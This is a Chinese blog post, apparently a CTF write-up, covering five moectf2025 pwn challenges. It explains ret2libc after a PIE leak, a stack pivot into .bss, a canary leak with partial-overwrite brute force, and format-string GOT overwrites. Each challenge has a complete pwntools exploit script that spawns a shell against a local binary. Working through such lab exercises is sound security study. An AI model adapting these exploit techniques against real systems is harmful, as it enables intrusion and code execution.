2961 字
7 分钟
moectf2025_pwn_part.4(详细审计_14~18)
2026-05-27
统计加载中...

easylibc#

替换文本
替换文本
替换文本
原函数逻辑应该不必多说了,这里值得注意的是它给我们泄露的&read\&readgotgot表存着的地址。
替换文本
也就是readreadpltplt的一段偏移,程序跳转到这个位置后继续执行就会调用.dynamic.dynamic来开始动态链接readread了。
但我们要注意的是,之前我们利用的是readread的真实地址减去它在libclibc中的相对偏移来算出libclibc的基址的。现在由于动态绑定机制,我们的readreadgotgot表中还没有存放真实的地址。所以我们需要等待第一次readread调用后gotgot存入真实地址之后再重新泄露&read\&read
那么这次的函数我们就要想办法执行一次readread,然后再跳转回来执行一次mainmain
替换文本
这里我们还需要知道,程序开启PIEPIE后,虽然地址被随机化了,但是各个部分的相对偏移量还是不变的,所以我们用之前泄露的gotgot表上存的地址减去它的固定偏移量10601060,就可以算出程序基址,然后根据mainmain的偏移量算出mainmain地址了。

elf_base = leaked - 0x1060
main_addr = elf_base + 0x11D3

后面我们就利用栈溢出再跳转回mainmain,然后重新泄露readread的真实地址,打ret2libcret2libc即可。
EXP:

from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './pwn_patched'
HOST = '127.0.0.1'
PORT = 34443
#p = remote(HOST, PORT)
p = process(LOCAL)
elf = ELF('./pwn_patched')
libc = ELF('./libc.so.6')
#gdb.attach(p)
p.recvuntil(b"can I use ")
leaked = int(p.recv(14), 16)
log.success(f"read_got:{hex(leaked)}")
elf_base = leaked - 0x1060
main_addr = elf_base + 0x11D3
log.success(f"elf_base: {hex(elf_base)}")
payload1 = flat([
b'a' * 0x28,
p64(main_addr)
])
p.sendlineafter(b"Damn!\n", payload1)
p.recvuntil(b"can I use ")
leaked = int(p.recv(14), 16)
log.success(f"read_addr:{hex(leaked)}")
libc.address = leaked - libc.symbols['read']
log.success(f"libc_base: {hex(libc.address)}")
pop_rdi = libc.address + 0x2a3e5
ret = libc.address + 0x29139
bin_sh_addr = libc.address + 0x1d8678
system_addr = libc.symbols['system']
payload2 = flat([
b'a' * 40,
p64(pop_rdi),
p64(bin_sh_addr),
p64(ret),
p64(system_addr)
])
p.sendlineafter(b"Damn!\n", payload2)
p.interactive()

ezpivot#

想要做出这题我们需要重新深入理解栈的原理。

替换文本
替换文本
替换文本
我们看到v4v4大于3232的话就会退出,后面的introduceintroduce里面会根据v4v4的大小决定写入descdesc的长度是多少。而descdesc是在bssbss段上的。
此外我们通过IDAIDA还可以看到有个magicmagic里面给了个rdirdigadgetgadget

endbr64
push rbp
mov rbp, rsp
pop rdi
retn
magic endp

backdoorbackdoor里面用了一次systemsystem,我们可以利用这个call system和上面的gadgetgadget来构造roprop

call _system
pop rbp

替换文本
但这里发现我们在最后一次栈溢出的大小只有1C,也就是2828个字节,我们在栈溢出之后只能刚好覆盖掉返回地址,无法再构建roprop链。
然后这题我们的做法是把栈整个都迁移到bssbss段上,然后执行并构造我们的roprop链。
替换文本
可以看到我们的bssbss段有大量的空间可以让我们迁移栈。
那么我们的做法首先是在descdesc往后的bssbss段上放置好我们的参数,然后在后面栈溢出的地方将栈迁移到我们设置参数的位置。
我们先看如何迁移。这里的需要用到leave; ret这个gadgetgadget,它拆分开来就是mov rsp, rbp; pop rbp; retn。也就是直接将rsprsp移动到rbprbp的位置,然后将rbprbp(此时rsprsp也指向它)的值弹出到rbprbp上,然后rsp8rsp - 8,下移到之前返回地址的地方,(此时rsprsp还在栈上)。这是mainmain函数执行结束前的第一次操作。接着retret会开始执行我们的栈溢出内容,我们又会执行一次leave; ret,但这次我们的rsprsp就会直接离开栈,然后指向新的rbprbp的位置(也就是我们迁移的栈上了)。然后我们会将此时rsprsp指向的rbprbp的值又弹出来,存到新的rbprbp上。(不过这个已经不重要了,因为此时我们的rsprsp已经到bssbss段上了)接着开始ret执行我们的roprop链。
所以对于我们的payload2payload2我们只需要覆盖rbprbp为对应bssbss段上的地址,然后返回地址改成这个gadgetgadget的地址就成功迁移了。 payload2payload2就是这样。

payload2 = flat([
b'a' * 12,
p64(desc_addr + 0x700),
p64(leave_ret)
])

我们再看到payload1payload1,这里我们需要为systemsystem调用提供足够的增长空间,否则如果超出了bssbss段后其他段可能没有读写权限,然后程序就会发生段错误。这里的p64(0)p64(0)就是伪造好的rbprbp的值,rsprsp过来之后就会指向这个地方,然后retret,开始执行下面的roprop,最终getshellgetshell

payload1 = flat([
b'\0' * 0x700,
p64(0),
p64(pop_rdi_ret),
p64(desc_addr + 0x720),
p64(system_addr),
b'/bin/sh\x00'
])

EXP:

from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './pwn'
HOST = '127.0.0.1'
PORT = 41493
#p = remote(HOST, PORT)
p = process(LOCAL)
#gdb.attach(p)
backdoor_addr = 0x40121E
pop_rdi_ret = 0x401219
desc_addr = 0x404060
leave_ret = 0x40133E
system_addr = 0x401230
ret_addr = 0x40101a
payload1 = flat([
b'\0' * 0x700,
p64(0),
p64(pop_rdi_ret),
p64(desc_addr + 0x720),
p64(system_addr),
b'/bin/sh\x00'
])
p.sendlineafter("introduction.", b'-1')
p.send(payload1)
payload2 = flat([
b'a' * 12,
p64(desc_addr + 0x700),
p64(leave_ret)
])
p.sendlineafter("number:", payload2)
p.interactive()

ezprotection#

这题保护全开。

替换文本
我们看到它这里的第一次readread之后直接打印了缓冲区里的内容。我们可以借此来泄露canarycanary,这里要注意canarycanary第一个字节是x00x00会截断我们的打印,所以我们先用aa填充掉,然后接收后面的77个字节再加上x00x00即可。
替换文本
第二次readread字节足够我们直接跳转后门,但是这里要注意程序开启了PIEPIE,我们无法直接找到后门函数的地址。
这里我第一次尝试的时候想过可以在前面putsputs缓冲区时泄露返回地址的高位来找到地址,不过很遗憾rbprbp高位有x00x00会截断。
正确做法是只覆盖低1212位,因为后门函数和主函数都在同一页内,高位的地址是相同的,我们只覆盖低1212位,也就是偏移就可以跳转后门。然而我们尝试覆盖地址的时候是没有办法只覆盖1212位的,因为6464位下发送的字节都是88位整。所以这里我们只能猜测131613-16位的部分为11,然后一直发送payloadpayload直到猜中,然后跳转后门泄露flagflag
替换文本
这里还要注意的是跳转后门不需要跳到开头去猜passwordpassword,它本身是未初始化的一个随机数,猜不了的。我们直接跳转下面泄露flagflag的部分即可。
EXPEXP中用了一个循环来不断重新执行EXPEXP,然后用outout接收输出的所有数据,如果出现了跳转后门的提示就会输出数据,否则继续执行EXPEXP
EXP:

from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './pwn'
HOST = '127.0.0.1'
PORT = 39881
while True:
#p = remote(HOST, PORT)
p = process(LOCAL)
p.sendafter("watching over you.", b'a' * 25)
p.recv(24)
p.recv(0x2f)
p.recv(25)
data = p.recv(15)
canary = u64(b'\x00' + data[:7])
log.success(f"canary:{hex(canary)}")
payload = flat([
b'a' * 24,
p64(canary),
b'a' * 8,
p16(0x127D)
])
p.sendafter("anything anyway.", payload)
out = p.recvall(timeout = 3)
if out.find(b"secret") != -1:
print(out)
break
else:
p.close()
continue

fmt_S#

没开PIEPIE其他都开了。
这题是一道有点难度的格式化字符串。

替换文本
替换文本
程序里没有栈溢出,但这里我们看到如果能保证flagflag为一直00时,我们就能够对fmtfmt反复执行三次格式化字符串。
替换文本
这里的myreadmyread很关键,read(0, a1, a2)会返回读入的字节数目,如果字节数刚好是88我们就可以覆盖隔壁的内存。
替换文本
我们这里每次调用myreadmyread传入的都是atkatk,而atkatk恰好就在flagflag的前面,当我们输入88个字节越界时,flagflag就会被覆盖为00,从而能让我们反复执行格式化字符串。
替换文本
最后我们看到hehe里面调用了systemsystem,但是我们无法操作缓冲区commandcommand,没法直接用。后续如果能控制程序的执行流的话我们可以直接跳到systemsystem入口,同样不需要进入到这个控制语句中。
这里我们的核心思路是利用两次%n对地址内容的写入修改printfprintfgotgot表为systemsystem的函数入口,此时恰好在readread之后,会将写入fmtfmt的内容传给rdirdi,我们向fmtfmt写入/bin/sh/bin/sh就会直接传递给systemsystemgetshellgetshell。为此我们需要利用栈上指针互相指向的特性来构造一个长链。
替换文本
这里我利用的是第88个参数rbprbp和第1212个参数对应的栈地址。我们利用%n会将栈地址存的值当作指针,然后向指针对应地址写入值的特性来修改对应的值为printfprintfgotgot表。这里%n写入值的大小是由printfprintf打印出的字节数决定的,所以我们要gotgot表的地址通过%{gotgot的地址}cc这个格式化字符来补充足够的空格,保证正确写入地址。
第一次我们向第1212个参数的栈地址的值上写入了gotgot表,然后第二次我们就在这个栈地址上再通过%ngotgot表写入systemsystem的函数入口就成功修改gotgot表了。然后第三次输入时,我们发送/bin/sh/bin/sh,执行到printfprintf之后就会跳转systemsystem然后弹shellshell了。

from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './pwn_patched'
HOST = '127.0.0.1'
PORT = 43569
#p = remote(HOST, PORT)
p = process(LOCAL)
#gdb.attach(p)
printf_got = 0x404028
system_plt = 0x4010E0
payload1 = "%{}c%8$ln".format(printf_got).encode()
p.sendafter("You start talking to him...", payload1)
p.sendafter("battle!", b'a' * 8)
payload2 = '%{}c%12$ln'.format(system_plt).encode()
p.sendafter("You start talking to him...", payload2)
p.sendafter("battle!", b'a' * 8)
p.sendafter("You start talking to him...", b'/bin/sh\x00')
p.interactive()

fmt_T#

替换文本
替换文本
主函数这里有一个格式化字符串,但我们只能写入55个字符(因为fgetsfgets只会读入size1size - 1个字符)。
替换文本
hellhell函数里有一个fgetsfgets可以输入44个字符,(a1a1是我们在主函数传入的55)然后又进行hellhell调用并传入a1+11a1 + 11,所以这里其实是个递归调用。而当a1a1大于3030时,我们才会停止这个调用。所以我们一共可以fgetsfgets写入33次,每一次写入的值分别为5,16,275, 16, 27,并且分别处在不同的缓冲区上。这里我们还看到,如果pdpd函数的返回值为真,我们就还能使用一次格式化字符串。也就是每次写入之后如果满足pdpd返回值为真我们就都能用一次格式化字符串。
替换文本
我们看到pdpd为真的条件就是每次输入缓冲区的字符里面有%(对应的asciiascii3737)我们就可以使用printfprintf了。
目前我们能利用的只有格式化字符串,并且没有明显的栈溢出。格式化字符串可以泄露libclibc,同时只有partialRELROpartial RELRO,考虑能否同样使用修改gotgot表的方法调用systemsystem
我们在主函数第一个fgetsfgets可以输入55个字符,刚好泄露对应的__libc_start_call_main\_\_libc\_start\_call\_main函数地址来得到libclibc,然后得出systemsystem的真实地址。
这里我们不需要再像上一题一样还要找到并修改栈上的长链了,我们自己就可以在递归调用生成的缓冲区里直接搭建我们的链来进行格式化字符串修改。而这里的原理是递归会先结束最后调用的函数,所以第一次使用的printfprintfa1a12727的那个函数,我们利用这个函数来修改printfprintfgotgot表。第二次也就是a1a11616的函数,我们就写入printfprintfgotgot表,然后在第一次的调用中修改这里gotgot表指向的真实地址为systemsystem的真实地址。然后最后一次a1a155的函数,我们就输入/sh/sh0000截断,再加%触发printfprintf,此时rdirdi里存的正是/sh/sh,触发printfprintf之后就会直接getshellgetshell
替换文本
我这里在第22a1a11616的调用中输入了22%来定位,可以看到第二次调用缓冲区位置偏移量是2424,到时候我们的printfprintfgotgot表就会放在这里。我们第一次printfprintf就会向这里写入。
但实际上修改起来还有一点困难。这里我们要知道printfprintfsystemsystem都是动态链接的函数库,它们被分配到同一页上,所以它们只有前三个字节是不同的。也就是我们要修改三个字节。但是实际上我们是无法直接写入33字节的。(这是因为%n的输入没有33字节的输入)这里运用了一个比较巧妙的方法。
我们知道第二次调用可以写入1515个字符,也就是1515个字节,那么我们可以输入两个printfprintf的got表地址,一个用来写入11个字节,(%hhn\%hhn可以写入一个字节)另一个写入紧靠着的22个字节。(%hn\%hn可以写入两个字节)。在偏移量为2424的位置我们就输入printf_gotprintf\_got的地址用来修改第一个字节,在偏移量为2525的位置,我们就输入printf_got+1printf\_got + 1,(刚好偏移掉第一个我们写入的字节)。分别写入systemsystem的第一个字节和紧靠着的两个字节即可。
detaildetail:byte0 = system & 0xff是只取第一个字节,byte1 = (system >> 8) & 0xffff是右移动了88位(也就是11个字节)之后再取两个字节。(byte1- byte0)& 0xffff这里需要byte1byte0byte1 - byte0是因为%hn也会读取之前%hhn输出的空格来计数,&0xffff\& 0xffff的操作是保证了负数情况下也能正确输出相应的空格数来保证写入正确。(其实就是输出一个更大的数来取模0xffff0xffff)。

from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']
LOCAL = './pwn_patched'
HOST = '127.0.0.1'
PORT = 46703
p = remote(HOST, PORT)
#p = process(LOCAL)
elf = ELF('./pwn_patched')
libc = ELF('./libc.so.6')
#gdb.attach(p)
p.send(b'%11$p')
leaked = int(p.recv(14), 16)
libc.address = leaked - libc.symbols['__libc_start_call_main'] - 128
log.success(f"libc: {hex(libc.address)}")
system = libc.symbols['system']
printf_got = elf.got['printf']
byte0 = system & 0xff
byte1 = (system >> 8) & 0xffff
payload1 = p64(printf_got) + p64(printf_got + 1)[:7]
p.send(b'sh\x00%')
p.send(payload1)
payload2 = f"%{byte0}c%24$hhn".encode()
payload2 += f"%{ (byte1- byte0)& 0xffff}c%25$hn\n".encode()
p.send(payload2)
p.interactive()
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

moectf2025_pwn_part.4(详细审计_14~18)
https://mkrari.cn/posts/moectf2025_pwn_4/
作者
Mkrari
发布于
2026-05-27
许可协议
CC BY-NC-SA 4.0